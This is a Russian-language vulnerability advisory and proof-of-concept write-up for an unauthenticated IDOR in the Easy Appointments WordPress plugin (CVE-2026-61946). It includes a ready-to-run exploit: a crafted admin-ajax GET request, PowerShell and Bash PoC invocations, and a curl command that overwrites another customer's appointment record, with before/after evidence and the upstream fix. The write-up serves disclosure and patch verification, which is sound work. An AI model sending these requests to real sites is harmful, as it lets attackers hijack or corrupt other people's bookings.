
CVE-2026-61946: Неаутентифицированная IDOR в Easy Appointments <= 3.12.27
Я обнаружил в плагине WordPress Easy Appointments неаутентифицированную уязвимость небезопасной прямой ссылки на объект (IDOR). Публичная конечная точка бронирования принимала id из строки запроса и передавала полученные данные в путь replace() базы данных плагина.
Это означало, что новый публичный запрос на бронирование можно было превратить в обновление существующей строки записи на приём. Для этого не требовались ни вход в систему, ни cookie, ни учётная запись WordPress. Передайте первичный ключ другой записи на приём, выберите реальный свободный слот — и плагин перезаписывал это бронирование данными о клиенте и приёме, контролируемыми атакующим.
| CVE | CVE-2026-61946 |
| Плагин | Easy Appointments |
| Slug | easy-appointments |
| Затронутые версии | <= 3.12.27 |
| Исправлено в | 3.12.28 |
| Класс уязвимости | Неаутентифицированный IDOR / управляемый пользователем первичный ключ (CWE-639) |
| Влияние | Перезапись произвольной существующей записи на приём |
| CVSS | 6.5 Средний (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Автор | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
Публичная конечная точка принимала запрос следующего вида:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
Значение id=2 не рассматривалось как недоверенный идентификатор объекта. В затронутых версиях оно проходило фильтрацию входных данных и достигало пути замены записей в базе данных. Если строка 2 уже принадлежала другому клиенту, публичный запрос обновлял эту строку, а не создавал новую.
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointments открывает обработчик бронирования для неаутентифицированных посетителей:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
Это ожидаемо для публичной формы бронирования. Ошибка авторизации заключалась в доверии к ключу объекта, переданному вызывающей стороной, внутри этого публичного обработчика.
Уязвимый путь был таким:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
Проверки nonce и CAPTCHA не устанавливали принадлежность переданного ID записи на приём. Кроме того, в конфигурации, которую я тестировал, они были отключены по умолчанию, поэтому запросу вообще не требовалось состояние сессии.
Конечная точка всё же выполняла проверку доступности. Это не решало проблему авторизации объекта; это лишь означало, что атакующему нужно выбрать действительные публичные локацию, услугу, сотрудника, дату и свободный на текущий момент временной слот.
Вам понадобится:
1. Одноразовая тестовая среда WordPress с Easy Appointments <= 3.12.27
2. ID записи на приём, созданной в тестовой среде для проверки
3. Действительные ID локации, услуги и сотрудника из публичной формы
4. Свободный на текущий момент временной слот
Затем запустите любой из PoC с обоими предохранительными переключателями. Без --execute / -Execute скрипты лишь выводят запрос, который собираются отправить.
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
curl вручную:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
Никакие заголовки аутентификации или cookie не используются.
Я воспроизвёл проблему на:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Неаутентифицированный запрос
Без cookie
Nonce отключён
CAPTCHA отключена
В тесте использовалась существующая запись на приём, принадлежащая тестовой учётной записи жертвы:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
После публичного запроса на бронирование тот же первичный ключ содержал:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
Неизменные первичный ключ и цена делали поведение обновления очевидным: это была не вторая запись, случайно похожая на первую, а замена существующей строки.
Копия доказательства «до/после» находится в evidence/sample-before-after.txt.
Неаутентифицированный атакующий, знающий или угадавший ID записи на приём, может исказить данные о клиенте и расписании этого бронирования. В зависимости от рабочего процесса сайта это может включать изменение:
имя и email клиента
номер телефона
описание записи на приём
локация, услуга и назначенный сотрудник
дата и время начала
статус бронирования, формируемый публичным потоком
Практический результат — незаметная подмена бронирования: легитимные записи на приём можно перенаправлять, смещать, портить или делать бесполезными для работы. Публичная форма раскрывает корректные значения расписания, необходимые для формирования запроса.
Официальная оценка — 6.5 (средний уровень):
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Значимое для безопасности изменение в версии 3.12.28 отличается восхитительной прямотой:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
Публичный поток бронирования больше не может выбирать первичный ключ объекта базы данных. Запрос принудительно направляется по пути создания новой записи, а не получает возможность заменить произвольную существующую запись на приём.
Тот же коммит по безопасности также исправил логику опции nonce. Это полезная эшелонированная защита, но сама по себе проверка nonce не была бы проверкой принадлежности для ID записи на приём, указанного атакующим. Удаление управляемого клиентом ключа — прямое исправление IDOR.
Извлечённый патч находится в patch/fix.diff.
poc/
reproduce.ps1 # PowerShell-репродуктор для тестовой среды
reproduce.sh # Bash/curl репродуктор для тестовой среды
evidence/
sample-before-after.txt # Обезличенное доказательство замены строки
patch/
fix.diff # Значимый для безопасности апстрим-диф
README.md
| Дата | Событие |
|---|---|
| 2026-04-03 | Отправлено в Patchstack |
| 2026-07-07 | Патч подтверждён |
| 2026-07-16 | Patchstack опубликовал запись об уязвимости |
| 2026-07-23 | Опубликован CVE-2026-61946 |
Предупреждение: Этот PoC публикуется для защитных исследований и проверки после выхода патча. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
CVE-2026-61946 — исправлено в Easy Appointments 3.12.28. Затронуты версии: 3.12.27 и более ранние.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online